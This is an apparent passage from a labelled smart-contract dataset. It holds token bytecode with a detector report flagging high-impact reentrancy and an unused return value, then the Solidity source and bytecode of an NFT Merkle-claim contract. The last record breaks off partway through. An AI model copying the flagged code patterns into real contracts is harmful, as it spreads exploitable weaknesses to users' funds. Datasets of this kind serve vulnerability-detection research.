095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a81905550600a600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a81905550600a600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a76400009050612329670de0b6b3a7640000600854611cef90919063ffffffff16565b82101561234757600854670de0b6b3a7640000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b5b08fc6460819d236f540370f65d418132adf7fd1380d75c99e72bbd7a6cdc64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,041
0xf883ab97ED3D5a9Af062a65B6D4437eA015EfD8A
// SPDX-License-Identifier: NONE pragma solidity 0.8.3; // Part: ERC721TokenReceiver /// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02. interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _tokenId The NFT identifier which is being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` /// unless throwing function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes memory _data) external returns(bytes4); } // Part: EvohERC721 contract EvohERC721 { string public name; string public symbol; uint256 public totalSupply; mapping(bytes4 => bool) public supportsInterface; struct UserData { uint256 balance; uint256[4] ownership; } mapping(address => UserData) userData; address[1024] tokenOwners; address[1024] tokenApprovals; mapping(uint256 => string) tokenURIs; mapping (address => mapping (address => bool)) private operatorApprovals; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); constructor(string memory _name, string memory _symbol) { name = _name; symbol = _symbol; supportsInterface[_INTERFACE_ID_ERC165] = true; supportsInterface[_INTERFACE_ID_ERC721] = true; supportsInterface[_INTERFACE_ID_ERC721_METADATA] = true; supportsInterface[_INTERFACE_ID_ERC721_ENUMERABLE] = true; } /// @notice Count all NFTs assigned to an owner function balanceOf(address _owner) external view returns (uint256) { require(_owner != address(0), "Query for zero address"); return userData[_owner].balance; } /// @notice Find the owner of an NFT function ownerOf(uint256 tokenId) public view returns (address) { if (tokenId < 1024) { address owner = tokenOwners[tokenId]; if (owner != address(0)) return owner; } revert("Query for nonexistent tokenId"); } function _transfer(address _from, address _to, uint256 _tokenId) internal { require(_from != address(0)); require(_to != address(0)); address owner = ownerOf(_tokenId); if ( msg.sender == owner || getApproved(_tokenId) == msg.sender || isApprovedForAll(owner, msg.sender) ) { delete tokenApprovals[_tokenId]; removeOwnership(_from, _tokenId); addOwnership(_to, _tokenId); emit Transfer(_from, _to, _tokenId); return; } revert("Caller is not owner nor approved"); } /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param _data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { _transfer(_from, _to, _tokenId); require(_checkOnERC721Received(_from, _to, _tokenId, _data), "Transfer to non ERC721 receiver"); } function removeOwnership(address _owner, uint256 _tokenId) internal { UserData storage data = userData[_owner]; data.balance -= 1; uint256 idx = _tokenId / 256; uint256 bitfield = data.ownership[idx]; data.ownership[idx] = bitfield & ~(uint256(1) << (_tokenId % 256)); } function addOwnership(address _owner, uint256 _tokenId) internal { tokenOwners[_tokenId] = _owner; UserData storage data = userData[_owner]; data.balance += 1; uint256 idx = _tokenId / 256; uint256 bitfield = data.ownership[idx]; data.ownership[idx] = bitfield | uint256(1) << (_tokenId % 256); } /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { safeTransferFrom(_from, _to, _tokenId, bytes("")); } /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external { _transfer(_from, _to, _tokenId); } /// @notice Change or reaffirm the approved address for an NFT function approve(address approved, uint256 tokenId) public { address owner = ownerOf(tokenId); require(msg.sender == owner || isApprovedForAll(owner, msg.sender), "Not owner nor approved for all" ); tokenApprovals[tokenId] = approved; emit Approval(owner, approved, tokenId); } /// @notice Get the approved address for a single NFT function getApproved(uint256 tokenId) public view returns (address) { ownerOf(tokenId); return tokenApprovals[tokenId]; } /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets function setApprovalForAll(address operator, bool approved) external { operatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } /// @notice Query if an address is an authorized operator for another address function isApprovedForAll(address owner, address operator) public view returns (bool) { return operatorApprovals[owner][operator]; } /// @notice Concatenates tokenId to baseURI and returns the string. function tokenURI(uint256 tokenId) public view returns (string memory) { ownerOf(tokenId); return tokenURIs[tokenId]; } /// @notice Enumerate valid NFTs function tokenByIndex(uint256 _index) external view returns (uint256) { require(_index < totalSupply, "Index out of bounds"); return _index; } /// @notice Enumerate NFTs assigned to an owner function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { UserData storage data = userData[_owner]; require (_index < data.balance, "Index out of bounds"); uint256 bitfield; uint256 count; for (uint256 i = 0; i < 1024; i++) { uint256 key = i % 256; if (key == 0) { bitfield = data.ownership[i / 256]; } if ((bitfield >> key) & uint256(1) == 1) { if (count == _index) { return i; } count++; } } revert(); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(to) } if (size == 0) { return true; } (bool success, bytes memory returnData) = to.call{ value: 0 }( abi.encodeWithSelector( ERC721TokenReceiver(to).onERC721Received.selector, msg.sender, from, tokenId, _data ) ); require(success, "Transfer to non ERC721 receiver"); bytes4 returnValue = abi.decode(returnData, (bytes4)); return (returnValue == _ERC721_RECEIVED); } } // File: Claimable.sol contract EvohClaimable is EvohERC721 { uint256 public maxTotalSupply; bytes32 public hashRoot; address public owner; uint256 public startTime; struct ClaimData { bytes32 root; uint256 count; uint256 limit; mapping(address => bool) claimed; } ClaimData[] public claimData; constructor( string memory _name, string memory _symbol, bytes32 _hashRoot, uint256 _maxTotalSupply, uint256 _startTime ) EvohERC721(_name, _symbol) { owner = msg.sender; hashRoot = _hashRoot; maxTotalSupply = _maxTotalSupply; startTime = _startTime; } function addClaimRoots(bytes32[] calldata _merkleRoots, uint256[] calldata _claimLimits) external { require(msg.sender == owner); for (uint256 i = 0; i < _merkleRoots.length; i++) { ClaimData storage data = claimData.push(); data.root = _merkleRoots[i]; data.limit = _claimLimits[i]; } } function isClaimed(uint256 _claimIndex, address _account) public view returns (bool) { return claimData[_claimIndex].claimed[_account]; } /** @notice Claim an NFT using an eligible account @param _claimIndex Index of the claim hash to validate `_claimProof` against @param _claimProof Proof to validate against the claim root */ function claim( uint256 _claimIndex, bytes32[] calldata _claimProof ) external { require(block.timestamp >= startTime, "Cannot claim before start time"); uint256 claimed = totalSupply; require(maxTotalSupply > claimed, "All NFTs claimed"); // Verify the claim bytes32 node = keccak256(abi.encodePacked(msg.sender)); ClaimData storage data = claimData[_claimIndex]; require(_claimIndex < claimData.length, "Invalid merkleIndex"); require(data.count < data.limit, "All NFTs claimed in this airdrop"); require(!data.claimed[msg.sender], "User has claimed in this airdrop"); require(verify(_claimProof, data.root, node), "Invalid claim proof"); // Mark as claimed, write the hash and send the token. data.count++; data.claimed[msg.sender] = true; addOwnership(msg.sender, claimed); emit Transfer(address(0), msg.sender, claimed); totalSupply = claimed + 1; } /** @notice Submit NFT hashes on-chain. @param _indexes Indexes of the hashes being added. @param _hashes IPFS hashes being added. @param _proofs Proofs for the IPFS hashes. These are checked against `hashRoot`. */ function submitHashes( uint256[] calldata _indexes, string[] calldata _hashes, bytes32[][] calldata _proofs ) external { require(_indexes.length == _proofs.length); bytes32 root = hashRoot; for (uint256 i = 0; i < _indexes.length; i++) { bytes32 node = keccak256(abi.encodePacked(_indexes[i], _hashes[i])); require(verify(_proofs[i], root, node), "Invalid hash proof"); tokenURIs[_indexes[i]] = _hashes[i]; } } function verify( bytes32[] calldata proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806354ef224b116100de578063a22cb46511610097578063c6f0308c11610071578063c6f0308c14610327578063c87b56dd14610355578063d2ef079514610368578063e985e9c51461037b57610173565b8063a22cb465146102f7578063b29a31051461030a578063b88d4fde1461031457610173565b806354ef224b146102985780636352211e146102ab57806370a08231146102be57806378e97925146102d15780638da5cb5b146102db57806395d89b41146102ef57610173565b806323b872dd1161013057806323b872dd1461022f5780632ab4d052146102425780632f52ebb71461024c5780632f745c591461025f57806342842e0e146102725780634f6ccce71461028557610173565b806301ffc9a71461017857806306fdde03146101b0578063081812fc146101c5578063095ea7b3146101f057806318160ddd1461020557806319e41c7e1461021c575b600080fd5b61019b6101863660046117fe565b60036020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6101b861038e565b6040516101a79190611959565b6101d86101d3366004611836565b61041c565b6040516001600160a01b0390911681526020016101a7565b6102036101fe3660046116d6565b61045e565b005b61020e60025481565b6040519081526020016101a7565b61020361022a366004611768565b61054f565b61020361023d36600461158c565b610704565b61020e6108075481565b61020361025a366004611870565b610714565b61020e61026d3660046116d6565b6109f4565b61020361028036600461158c565b610afa565b61020e610293366004611836565b610b15565b6102036102a63660046116ff565b610b62565b6101d86102b9366004611836565b610c30565b61020e6102cc366004611539565b610cc4565b61020e61080a5481565b610809546101d8906001600160a01b031681565b6101b8610d31565b61020361030536600461169c565b610d3e565b61020e6108085481565b6102036103223660046115c7565b610dab565b61033a610335366004611836565b610e14565b604080519384526020840192909252908201526060016101a7565b6101b8610363366004611836565b610e48565b61019b61037636600461184e565b610ef3565b61019b61038936600461155a565b610f4b565b6000805461039b90611a68565b80601f01602080910402602001604051908101604052809291908181526020018280546103c790611a68565b80156104145780601f106103e957610100808354040283529160200191610414565b820191906000526020600020905b8154815290600101906020018083116103f757829003601f168201915b505050505081565b600061042782610c30565b5061040582610400811061044b57634e487b7160e01b600052603260045260246000fd5b01546001600160a01b031690505b919050565b600061046982610c30565b9050336001600160a01b038216148061048757506104878133610f4b565b6104d85760405162461bcd60e51b815260206004820152601e60248201527f4e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c000060448201526064015b60405180910390fd5b826104058361040081106104fc57634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b03928316179055604051839185811691908416907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590600090a4505050565b84811461055b57600080fd5b6108085460005b868110156106fa57600088888381811061058c57634e487b7160e01b600052603260045260246000fd5b905060200201358787848181106105b357634e487b7160e01b600052603260045260246000fd5b90506020028101906105c591906119b4565b6040516020016105d793929190611902565b60405160208183030381529060405280519060200120905061062b85858481811061061257634e487b7160e01b600052603260045260246000fd5b9050602002810190610624919061196c565b8584610f7a565b61066c5760405162461bcd60e51b815260206004820152601260248201527124b73b30b634b2103430b9b410383937b7b360711b60448201526064016104cf565b86868381811061068c57634e487b7160e01b600052603260045260246000fd5b905060200281019061069e91906119b4565b61080560008c8c878181106106c357634e487b7160e01b600052603260045260246000fd5b90506020020135815260200190815260200160002091906106e5929190611448565b505080806106f290611aa3565b915050610562565b5050505050505050565b61070f838383611038565b505050565b61080a544210156107675760405162461bcd60e51b815260206004820152601e60248201527f43616e6e6f7420636c61696d206265666f72652073746172742074696d65000060448201526064016104cf565b6002546108075481106107af5760405162461bcd60e51b815260206004820152601060248201526f105b1b081391951cc818db185a5b595960821b60448201526064016104cf565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050600061080b868154811061080c57634e487b7160e01b6000526032600452602460